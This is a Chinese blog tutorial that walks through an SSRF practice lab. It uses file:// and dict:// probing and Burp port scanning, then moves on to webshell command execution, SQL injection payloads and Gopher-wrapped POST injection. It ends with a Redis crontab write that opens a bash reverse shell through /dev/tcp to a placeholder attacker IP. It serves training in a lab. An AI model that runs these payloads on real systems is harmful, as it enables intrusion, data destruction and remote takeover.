SSRF漏洞实战:从Kali靶场到内网渗透全解析

📅 发布时间:2026/7/8 8:32:43 👁️ 浏览次数:
SSRF漏洞实战:从Kali靶场到内网渗透全解析
1. 靶场环境搭建与SSRF漏洞初探大家好我是老张在安全圈里摸爬滚打了十来年今天想和大家聊聊一个实战性极强的漏洞——SSRF。很多刚入门的朋友觉得SSRF服务器端请求伪造听起来有点玄乎其实说白了就是你能让服务器帮你发请求去访问它自己能访问、但你直接访问不到的网络资源。这就像你指挥一个内线去探查公司内部情况他能去的地方你通过他也能“看到”。为了让大家能亲手玩起来我强烈建议搭建一个本地靶场。我这次用的是国光老师开源在GitHub上的sqlsec/ssrf-vuls靶场用Docker一键部署对新手特别友好。你只需要有一台安装了Docker的Kali Linux或者Ubuntu虚拟机就行。操作起来很简单打开终端几条命令下去一个包含多个漏洞节点的内网环境就起来了。靶场启动后会把内网服务的端口映射到你的宿主机比如192.168.119.128:9080这样你通过浏览器访问这个地址就相当于从一个“公网”视角攻击那个存在SSRF漏洞的Web应用了。为什么靶场环境这么重要因为真实的渗透测试环境很难找而且随意测试他人系统是违法的。靶场提供了一个绝对安全、可随意“破坏”的沙箱你能在这里大胆尝试各种攻击手法踩坑了也没关系重启容器就行。我刚开始学的时候就是在靶场里把各种协议、各种姿势试了个遍才真正理解了SSRF的威力。这个靶场的拓扑结构模拟了一个典型的内网一台有SSRF漏洞的Web服务器172.150.23.21:80映射到你的9080端口以及内网里好几台其他服务器各自运行着不同的、有漏洞的服务。我们的目标就是利用21号服务器这个“跳板”一步步摸进内网把其他服务器的flag都找出来。那么怎么判断一个地方存在SSRF漏洞呢经验告诉我但凡一个Web应用提供了“输入网址”、“上传网络图片”、“转推内容”、“在线翻译”这类需要服务器对外发起网络请求的功能你都得留个心眼。在靶场里我们一访问192.168.119.128:9080就看到一个简单的输入框让你提交一个URL。最简单的测试方法就是让它去访问百度http://www.baidu.com。如果页面正常返回了百度的内容说明这个功能确实会请求你给的地址。但这还不够关键的一步是让它访问内网地址比如http://127.0.0.1或者http://localhost。如果服务器把本地回环地址的内容也给你返回来了那SSRF漏洞基本就坐实了。因为正常的业务逻辑应该只允许访问特定的、外部的资源地址能读到本地信息说明对用户输入完全没有过滤和校验我们可以利用它作为进入内网的第一个支点。2. 信息收集利用SSRF探测内网资产确认漏洞存在后先别急着往里冲。一个好的渗透测试员七分靠信息收集三分才是漏洞利用。我们虽然拿到了一个可以指挥服务器发送请求的“遥控器”但内网里有什么我们两眼一抹黑。这时候SSRF本身就成了我们最强大的侦察工具。首先我们要搞清楚这台“跳板”服务器本身的信息。最直接的就是它的内网IP地址。怎么搞利用file://协议。这个协议能让服务器读取本地文件。我们尝试构造请求file:///etc/hosts。/etc/hosts文件里通常会记录本机的主机名和IP映射关系。果然请求返回了内容里面清晰地写着172.150.23.21。这就是我们跳板服务器的内网IP有了这个我们就知道了内网的一个网段172.150.23.0/24。如果权限足够高比如服务器以root权限运行你还可以尝试读取/proc/net/arp查看ARP缓存表能发现同网段其他主机或者/etc/network/interfaces查看网络配置这些都能帮你更精确地绘制内网地图。知道了网段下一步就是“扫楼”探测这个网段里有哪些主机是活的开放了哪些端口。这里就要用到dict://协议。dict协议本来是用于查询字典定义的但它有一个特性连接到一个服务的指定端口后可以发送一些指令并获取回显。我们可以利用它来快速探测端口是否开放。比如发送dict://172.150.23.22:80/如果端口开放且是HTTP服务可能会返回一个错误信息但这足以证明端口是开放的。手动一个个试太慢我们上工具。用Burp Suite的Intruder模块来做爆破是最爽的。我习惯用Cluster Bomb集束炸弹攻击模式。设置两个载荷位置一个是IP地址的第四段比如从1到40另一个是端口号比如80, 8080, 6379, 3306, 22, 21等常见端口。载荷集就分别对应这两个列表。然后让Burp去自动组合、发送请求。通过观察响应包的长度和状态码就能快速筛选出开放的端口。实战下来我很快就发现了几个目标172.150.23.22:80,23:80,23:3306,24:80,27:6379。这个结果和靶场设计的拓扑图完全对得上信息收集阶段圆满成功。这个过程就像玩战略游戏开战争迷雾一下子把内网的几个关键据点都点亮了。3. 漏洞利用实战代码注入与SQL注入摸清了家底接下来就是逐个击破。我们按照难度和常见性先从172.150.23.22这台Web服务器开始。通过SSRF访问它返回了一个简单的页面看起来没什么功能。这时候千万别觉得没戏很多漏洞都藏在“看不见”的地方。我的习惯是见到Web服务先给它做个目录扫描。虽然我们是通过SSRF间接访问但原理一样可以构造请求去尝试访问常见的后台路径、敏感文件或者脚本文件。我直接用Burp Intruder加载一个常用的PHP字典文件对172.150.23.22进行爆破。很快结果就出来了phpinfo.php和shell.php。访问phpinfo.php好家伙直接把PHP版本、系统路径、加载的模块等敏感信息全吐出来了这属于信息泄露漏洞。更关键的是shell.php听名字就像是一句话木马。尝试用GET方式传一个参数试试http://172.150.23.22/shell.php?cmdls。页面返回了当前目录的文件列表这就是一个赤裸裸的远程代码执行漏洞。拿到命令执行权限找flag就简单了。直接cat /flag或者find / -name flag*。这里有个坑要注意通过SSRF传递的URL其中的空格需要被编码。在浏览器直接测试时空格要写成%20。但如果你是在Burp里抓取SSRF漏洞点的请求包然后修改其中的目标URL进行攻击这个空格可能需要被编码两次变成%2520。这是因为Burp或中间件可能会对数据进行额外的解码处理。我一开始就在这里卡了半天命令执行总是失败后来把空格双重编码立马就成功了。所以实战中多试试几种编码方式总没错。搞定22号机再看172.150.23.23。访问过去是一个典型的带参数查询页面?id1显示一条新闻。这扑面而来的就是SQL注入的感觉。加个单引号?id1页面报错了确认存在注入点而且是报错型注入。对于这种漏洞我一般直接用联合查询Union Select一把梭哈又快又直观。构造Payload?id1 and 12 union select version(),user(),3,database()--。页面果然把数据库版本、当前用户、库名都给显示出来了。如果想用报错注入函数比如extractvalue()Payload可以这样写?id1 and (select extractvalue(anything,concat(~,(select user()))))--。通过SSRF我们成功将SQL注入的Payload送达内网的数据库并窃取了信息。这个过程完全自动化你可以用工具跑出所有表名、字段名最终拿到flag。4. 协议进阶利用Gopher攻击POST型命令执行接下来是172.150.23.24这台机器有点不一样。访问它的80端口是一个命令执行界面但需要提交POST请求参数名像是ip值是让你输入一个IP地址进行ping测试。我们之前的攻击无论是代码注入还是SQL注入都是通过GET请求传递参数直接在URL里构造就行。但现在遇到POST请求SSRF默认使用HTTP/HTTPS协议时很难去构造并发送一个完整的POST数据包。这时候一个强大的协议就要登场了Gopher。Gopher是一个比较古老的网络协议但它有一个特点可以封装并发送任意的TCP数据流。这意味着我们可以用它来“打包”一个完整的HTTP POST请求让存在SSRF漏洞的服务器帮我们发出去。这是SSRF攻击中一个非常经典的技巧。具体怎么做呢首先我们需要一个原始的、正确的POST请求包。我们可以先用浏览器正常访问这个页面当然在真实SSRF场景下你访问不到但靶场里我们可以先直接连上去分析输入127.0.0.1然后ping用Burp抓下这个POST包。拿到原始数据包后不能直接用在Gopher里需要做一些处理删除不必要的请求头比如Accept-Encoding: gzip, deflate否则返回内容可能被压缩导致回显乱码。确保Host头是目标内网地址172.150.23.24。将整个数据包从请求方法开始到正文结束进行一次URL编码。 然后构造Gopher的URL格式gopher://172.150.23.24:80/_编码后的数据流。注意_后面紧跟编码后的数据这是因为Gopher协议会“吃掉”第一个字符所以我们用一个无关紧要的字符如下划线占位。这里还有一个更稳妥的方法将处理好的数据包在Burp的Decoder里进行两次URL编码。因为当这个URL作为参数通过最初那个SSRF漏洞点提交时可能会被Web应用解码一次。如果只编码一次解码后数据包格式可能就错了。编码两次后第一次被应用解码得到的就是我们编码过一次的正确数据包再由Gopher协议发送。我实测下来用两次编码的方法成功率更高。构造好最终的URL提交给SSRF漏洞点如果一切顺利你就能看到命令执行的结果回显在页面上了比如cat /flag的内容。这个过程虽然步骤多了点但一旦掌握你就拥有了通过SSRF攻击内网任何基于TCP协议的服务的能力威力巨大。5. 内网横向移动利用Redis未授权访问getshell最后我们来看内网里最“肥”的一个目标172.150.23.27:6379。端口6379大概率是Redis数据库。Redis如果配置不当默认安装且没有设置密码绑定在0.0.0.0就会产生未授权访问漏洞。攻击者可以直接连接到Redis服务执行任意命令。更妙的是我们可以通过SSRF利用dict://协议来与Redis交互。首先验证漏洞是否存在。发送请求dict://172.150.23.27:6379/info。如果返回了一大串包含Redis版本、内存使用等信息的文本恭喜你未授权访问实锤了。既然能执行Redis命令我们的目标就是利用它来在目标服务器上执行系统命令拿到一个反向Shell。常见的思路有几种写Webshell需要Web目录可写、写SSH公钥需要Redis运行用户有~/.ssh/目录写权限、写定时任务Crontab。靶场环境里前两种可能不满足我们就用最通用的定时任务方法。整个攻击流程其实就是通过SSRF向Redis发送一系列命令。这些命令需要被组装成dict://协议的请求。这里有个非常重要的细节Redis命令中的特殊字符尤其是在通过URL传递时必须进行URL编码变成%26否则会被解析为参数分隔符导致命令截断失败。我建议直接在Burp里逐个发送方便观察结果和排错。攻击步骤如下清空所有键谨慎使用实战中可能破坏业务dict://172.150.23.27:6379/flushall设置Redis的持久化文件目录为定时任务目录dict://172.150.23.27:6379/config set dir /var/spool/cron/设置持久化文件名为对应用户如rootdict://172.150.23.27:6379/config set dbfilename root写入定时任务内容dict://172.150.23.27:6379/set x \n\n* * * * * /bin/bash -i %26 /dev/tcp/你的攻击机IP/监听端口 0%261\n\n这里\n\n是为了确保写入crontab文件时任务格式正确单独成行。%26是的URL编码形式用于重定向标准错误输出。保存配置到文件dict://172.150.23.27:6379/save命令执行成功后Redis就会把我们的恶意命令写入到/var/spool/cron/root文件中。等到下一分钟因为定时任务设置的是* * * * *每分钟执行一次目标服务器就会向我们的攻击机发起一个Bash反向连接。我们只需要在攻击机上用nc -lvnp 监听端口提前开好监听就能获得一个内网服务器的交互式Shell了。通过这个Shell你可以进行更深入的内网探测和横向移动比如扫描其他更深的网段、抓取密码哈希、寻找更多敏感信息等。走完这一整套流程从发现SSRF漏洞到读取本地信息、探测内网端口再到利用代码注入、SQL注入、Gopher协议攻击POST接口最后通过Redis未授权拿到Shell你基本上就完成了一次小型的内网渗透演练。每个环节都有需要注意的细节比如协议的选择、编码的处理、命令的构造。我建议你在自己的靶场里多练几遍把每个步骤都吃透。真正遇到实战的时候思路才会清晰遇到问题才知道怎么调整。安全技术就是这样原理懂了剩下的就是经验的积累和细节的把控。希望这篇长文能帮你把SSRF这个漏洞玩明白在合法的渗透测试中更好地发现和验证风险。